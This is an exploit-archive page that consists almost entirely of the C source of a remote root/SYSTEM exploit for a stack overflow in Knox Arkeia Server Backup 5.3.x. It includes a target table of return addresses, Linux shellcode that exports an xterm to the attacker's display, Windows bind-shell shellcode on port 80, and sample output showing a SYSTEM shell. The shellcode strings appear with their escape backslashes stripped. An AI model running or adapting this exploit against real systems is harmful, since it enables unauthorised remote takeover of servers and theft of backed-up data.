[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Knox Arkeia Server Backup 5.3.x Remote Root Exploit
# Published : 2005-02-18
# Author : John Doe
# Previous Title : SHOUTcast 1.9.4 File Request Format String Remote Exploit (win)
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/*
* Knox Arkiea Server Backup
* arkiead local/remote root exploit
* Targets for Redhat 7.2/8.0, Win2k SP2/SP3/SP4, WinXP SP1, Win 2003 EE
* Works up to current version 5.3.x
*
* ---------------
*
* Linux x86:
* ./arksink2 <arkeia_host> <target_type> <display>
*
* Exports an xterm to the box of your choosing. Make sure to "xhost +" on
* the box you're exporting to.
*
* A stack overflow is in the processing of a type 77 request. EIP is actually
* overwritten at 64 bytes, but the trailing NULL scrambled a pointer so we
* have to write past EIP and insert a "safe" value. Put this value behind your
* NOP+sc return address so it doesn't mess with the sled.
*
* Since the buffer is so small, we initially send an invalid packet that ends
* up on the heap a second before the overflow happens. If it is a high traffic
* Arkeia server the heap might be a bit volatile, so play around with putting
* nops+sc after the overwritten pointer. The heap method avoids non-exec stack
* protection, however.
*
* Includes targets for RH8 and RH7.2
*
* [user@host user]$ ./prog 192.168.1.2 1 192.168.1.1:0
* [*] Knox Arkeia <= v5.3.x remote root/SYSTEM exploit
* [*] Attacking LINUX system
* [*] Exporting xterm to 192.168.1.1:0
* [*] Connected to 192.168.1.2:617 NOP+shellcode socket
* [*] Connected to 192.168.1.2:617 overflow socket
* [*] Sending nops+shellcode
* [*] Done, sleeping
* [*] Done, check for xterm
*
*
* ---------------
*
* Windows x86:
* ./prog <host> <target> <offset>
*
* Spawns a shell on port 80 of the remote host
*
* EIP is overwritten beginning with the 25th byte after the header. Since Windows
* is little endian and has the heap mapped to 0x00XXXXXX we can avoid having to
* write an extra null past EIP. Another advantage here is that we can put all our
* nops and shellcode in the same packet, but after the NULL. They will not be copied
* onto the stack (and therefore not munge the pointer after it) but will remain
* in memory as a raw packet. Fire up ollydbg, search for your nops and voila.
*
* [user@host user]$ ./arksink2 192.168.1.2 3 0
* [*] Knox Arkeia <= v5.3.x remote SYSTEM exploit
* [*] Attacking Windows system
* [*] Spawning shell on 192.168.1.2:80
* [*] Connected to 192.168.1.2:617 overflow socket
* [*] Sending overflow
* [*] Attempting to get remote shell, try #0
* [!] connect: Resolver Error 0 (no error)
* [*] Attempting to get remote shell, try #1
* [!] connect: Resolver Error 0 (no error)
* [*] Attempting to get remote shell, try #2
* [!] connect: Resolver Error 0 (no error)
* [*] Attempting to get remote shell, try #3
* [!] connect: Resolver Error 0 (no error)
* [*] Attempting to get remote shell, try #4
* [*] Success, enjoy
* Microsoft Windows 2000 [Version 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
* C:WINNTsystem32>whoami
* whoami
* SYSTEM
*
* C:WINNTsystem32>
*
*
* ---------------
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/nameser.h>
#define BUFLEN 10000 /* for readshell() */
#define DATA_LEN 1000 /* overflow packet data section */
#define HEAD_LEN 8 /* overflow packet header */
#define NOP_LEN 20000 /* nop+shellcode packet */
#define ARK_PORT 617 /* port Arkeiad listens on */
#define SHELL_PORT 80 /* for the windows shellcode */
#define NOP 0x90 /* Intel x86 */
#define NUMTARGS 5 /* increase when adding targets */
#define LINUX 1 /* Linux target type */
#define WINDOWS 2 /* Windows target type */
struct {
char *os;
unsigned int targret;
unsigned int targsafe;
unsigned int len;
int targtype;
} targets[] = {
{ "Redhat 8.0", 0x80ecf90, 0x080e0144, 68, LINUX },
{ "Redhat 7.2", 0x80eddc0, 0x080eb940, 68, LINUX },
{ "Windows 2k SP2, SP3, SP4", 0x007d2144, 0xdeadbeef, 28, WINDOWS },
{ "Windows 2003 EE", 0x007b2178, 0xdeadbeef, 28, WINDOWS },
{ "Windows XP SP1", 0x007d20e7, 0xdeadbeef, 28, WINDOWS },
NULL
};
// Linux shellcode exports xterm
const char shellcode[] =
"xebx4fx5ex31xd2x88x56x14x88x56x18x88x56x21xb2x2b"
"x31xc9xb1x09x80x3cx32x4bx74x05x42xe2xf7xebx2bx88"
"x34x32x31xd2x89xf3x89x76x36x8dx7ex15x89x7ex3ax8d"
"x7ex19x89x7ex3ex8dx7ex22x89x7ex42x89x56x46x8dx4e"
"x36x8dx56x46x31xc0xb0x0bxcdx80x31xdbx89xd8x40xcd"
"x80xe8xacxffxffxff"
"/usr/X11R6/bin/xterm8-ut8-display8";
// Windows shellcode binds shell to port 80
const char shellcode_win[] =
"xebx19x5ex31xc9x81xe9x89xff"
"xffxffx81x36x80xbfx32x94x81xeexfcxffxffxffxe2xf2"
"xebx05xe8xe2xffxffxffx03x53x06x1fx74x57x75x95x80"
"xbfxbbx92x7fx89x5ax1axcexb1xdex7cxe1xbex32x94x09"
"xf9x3ax6bxb6xd7x9fx4dx85x71xdaxc6x81xbfx32x1dxc6"
"xb3x5axf8xecxbfx32xfcxb3x8dx1cxf0xe8xc8x41xa6xdf"
"xebxcdxc2x88x36x74x90x7fx89x5axe6x7ex0cx24x7cxad"
"xbex32x94x09xf9x22x6bxb6xd7x4cx4cx62xccxdax8ax81"
"xbfx32x1dxc6xabxcdxe2x84xd7xf9x79x7cx84xdax9ax81"
"xbfx32x1dxc6xa7xcdxe2x84xd7xebx9dx75x12xdax6ax80"
"xbfx32x1dxc6xa3xcdxe2x84xd7x96x8exf0x78xdax7ax80"
"xbfx32x1dxc6x9fxcdxe2x84xd7x96x39xaex56xdax4ax80"
"xbfx32x1dxc6x9bxcdxe2x84xd7xd7xddx06xf6xdax5ax80"
"xbfx32x1dxc6x97xcdxe2x84xd7xd5xedx46xc6xdax2ax80"
"xbfx32x1dxc6x93x01x6bx01x53xa2x95x80xbfx66xfcx81"
"xbex32x94x7fxe9x2axc4xd0xefx62xd4xd0xffx62x6bxd6"
"xa3xb9x4cxd7xe8x5ax96x80xbfx62x1fx4cxd5x24xc5xd3"
"x40x64xb4xd7xecxcdxc2xa4xe8x63xc7x7fxe9x1ax1fx50"
"xd7x57xecxe5xbfx5axf7xedxdbx1cx1dxe6x8fxb1x78xd4"
"x32x0exb0xb3x7fx01x5dx03x7ex27x3fx62x42xf4xd0xa4"
"xafx76x6axc4x9bx0fx1dxd4x9bx7ax1dxd4x9bx7ex1dxd4"
"x9bx62x19xc4x9bx22xc0xd0xeex63xc5xeaxbex63xc5x7f"
"xc9x02xc5x7fxe9x22x1fx4cxd5xcdx6bxb1x40x64x98x0b"
"x77x65x6bxd6x93xcdxc2x94xeax64xf0x21x8fx32x94x80"
"x3axf2xecx8cx34x72x98x0bxcfx2ex39x0bxd7x3ax7fx89"
"x34x72xa0x0bx17x8ax94x80xbfxb9x51xdexe2xf0x90x80"
"xecx67xc2xd7x34x5exb0x98x34x77xa8x0bxebx37xecx83"
"x6axb9xdex98x34x68xb4x83x62xd1xa6xc9x34x06x1fx83"
"x4ax01x6bx7cx8cxf2x38xbax7bx46x93x41x70x3fx97x78"
"x54xc0xafxfcx9bx26xe1x61x34x68xb0x83x62x54x1fx8c"
"xf4xb9xcex9cxbcxefx1fx84x34x31x51x6bxbdx01x54x0b"
"x6ax6dxcaxddxe4xf0x90x80x2bxa2x04";
unsigned int resolve(char *hostname)
{
u_long ip = 0;
struct hostent *hoste;
if ((int)(ip = inet_addr(hostname)) == -1)
{
if ((hoste = gethostbyname(hostname)) == NULL)
{
herror("[!] gethostbyname");
exit(-1);
}
memcpy(&ip, hoste->h_addr, hoste->h_length);
}
return(ip);
}
int isock(char *hostname, int portnum)
{
struct sockaddr_in sock_a;
int num, sock;
unsigned int ip;
fd_set input;
sock_a.sin_family = AF_INET;
sock_a.sin_port = htons(portnum);
sock_a.sin_addr.s_addr = resolve(hostname);
if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
herror("[!] accept");
return(-1);
}
if (connect(sock, (struct sockaddr *)&sock_a, sizeof(sock_a)))
{
herror("[!] connect");
return(-1);
}
return(sock);
}
int usage(char *progname)
{
int i;
fprintf(stderr, "Usage:n%s hostname target_num display (attacking Linux)n", progname);
fprintf(stderr, "%s hostname target_num offset (attacking Windows)n", progname);
for (i = 0; targets[i].os; i++)
fprintf(stderr, "Target %d: %sn", i+1, targets[i].os);
fprintf(stderr, "Example: %s 192.168.1.2 1 192.168.1.1:0n", progname);
exit(-1);
}
int getshell(int sock)
{
char buf[BUFLEN];
int nread=0;
while(1)
{
fd_set input;
FD_SET(0,&input);
FD_SET(sock,&input);
select(sock+1,&input,NULL,NULL,NULL);
if(FD_ISSET(sock,&input))
{
nread=read(sock,buf,BUFLEN);
write(1,buf,nread);
}
if(FD_ISSET(0,&input))
write(sock,buf,read(0,buf,BUFLEN));
}
}
int lin(char *host, char *export, unsigned int tnum)
{
char head[] = "x00x4dx00x03x00x01xffxff";
char data[DATA_LEN];
char sc_req[NOP_LEN*2];
char *sc;
unsigned int retaddr;
unsigned int safe;
int datalen = 0;
int port = ARK_PORT;
int sock_overflow, sock_nops;
int i;
int nullmap = 0;
sock_overflow = sock_nops = 0;
retaddr = targets[tnum].targret;
safe = targets[tnum].targsafe;
datalen = targets[tnum].len;
sock_nops = isock(host, port);
if (sock_nops < 1)
exit(-1);
fprintf(stderr, "[*] Connected to %s:%d NOP+shellcode socketn", host, port);
sock_overflow = isock(host, port);
if (sock_overflow < 1)
exit(-1);
fprintf(stderr, "[*] Connected to %s:%d overflow socketn", host, port);
// build data section of overflow packet
memset(data, NOP, DATA_LEN);
// copy in return address
memcpy(data+datalen - 8, (char *)&retaddr, 4);
// we overwrite a pointer that must be a valid address
memcpy(data+datalen-4, (char *)&safe, 4);
datalen = ntohs(datalen);
memcpy(head+6, (char *)&datalen, 2);
// build invalid packet with nops+shellcode
memset(sc_req, NOP, NOP_LEN+1);
sc = (char *)malloc(strlen(shellcode) + strlen(export) + 2);
sprintf(sc, "%s%s%s", shellcode, export, "K");
if (strlen(sc) + NOP_LEN > NOP_LEN*2-1)
{
fprintf(stderr, "[!] display name too longn");
exit(-1);
}
memcpy(sc_req+NOP_LEN, sc, strlen(sc));
// send invalid nop+shellcode packet
fprintf(stderr, "[*] Sending nops+shellcoden");
write(sock_nops, sc_req, NOP_LEN+strlen(sc)+1);
fprintf(stderr, "[*] Done, sleepingn");
sleep(1);
close(sock_nops);
// send overflow, pointing EIP to above nops+sc
write(sock_overflow, head, HEAD_LEN); // 8 byte header
datalen = ntohs(datalen);
fprintf(stderr, "[*] Sending overflown");
write(sock_overflow, data, datalen); // small overflow packet
fprintf(stderr, "[*] Done, check for xtermn");
close(sock_overflow);
}
void windows (char *host, int tnum, int offset)
{
char head[] = "x00x4dx00x03x00x01xffxff";
char data[DATA_LEN];
char sc_req[NOP_LEN*2];
char *sc;
char *export;
unsigned int ret;
unsigned int safeaddr;
int overflow_len;
int datasiz = DATA_LEN;
int datalen = 0;
int port = ARK_PORT;
int sock_overflow, sock_nops, sock_shell;
int i;
datalen = targets[tnum].len;
ret = targets[tnum].targret + offset;
sock_overflow = isock(host, port);
if (sock_overflow < 1)
exit(-1);
fprintf(stderr, "[*] Connected to %s:%d overflow socketn", host, port);
// build data section of overflow packet
memset(data, NOP, DATA_LEN);
memcpy(data+datalen - 4, (char *)&ret, 4);
memcpy(data+DATA_LEN-strlen(shellcode_win)-1, shellcode_win, strlen(shellcode_win));
// put size into header
datasiz = ntohs(datasiz);
memcpy(head+6, (char *)&datasiz, 2);
fprintf(stderr, "[*] Sending overflown");
write(sock_overflow, head, HEAD_LEN); // 8 byte header
write(sock_overflow, data, DATA_LEN); // large data section
close(sock_overflow);
for (i = 0; i < 20; i++)
{
sleep(1);
fprintf(stderr, "[*] Attempting to get remote shell, try #%dn", i);
// connect to shell
sock_shell = isock(host, SHELL_PORT);
if (sock_shell > 0)
{
fprintf(stderr, "[*] Success, enjoyn");
getshell(sock_shell);
}
}
fprintf(stderr, "[!] Exploit failed or cannot connect to port 80n");
exit(-1);
}
int main( int argc, char **argv)
{
/* first 2 bytes are a type 77 request */
/* last two bytes length */
char *host;
char *export;
unsigned int tnum;
int datalen = 0;
int offset = 0;
if (argc == 4)
{
host = argv[1];
tnum = atoi(argv[2]);
if (targets[tnum].targtype == LINUX)
export = argv[3];
else
offset=atoi(argv[3]);
if (tnum > NUMTARGS || tnum == 0)
{
fprintf(stderr, "[!] Invalid targetn");
usage(argv[0]);
}
}
else
{
usage(argv[0]);
}
tnum--;
fprintf(stderr, "[*] Knox Arkeia <= v5.3.x remote root/SYSTEM exploitn");
fprintf(stderr, "[*] Attacking %s systemn", targets[tnum].os);
if (targets[tnum].targtype == LINUX )
{
fprintf(stderr, "[*] Exporting xterm to %sn", export);
lin(host, export, tnum);
}
else if (targets[tnum].targtype == WINDOWS)
{
fprintf(stderr, "[*] Spawning shell on %s:%dn", host, SHELL_PORT);
windows(host, tnum, offset);
}
else
{
fprintf(stderr, "[!] Unknown target type: %dn", targets[tnum].targtype);
exit(-1);
}
}
// www.Syue.com [2005-02-18]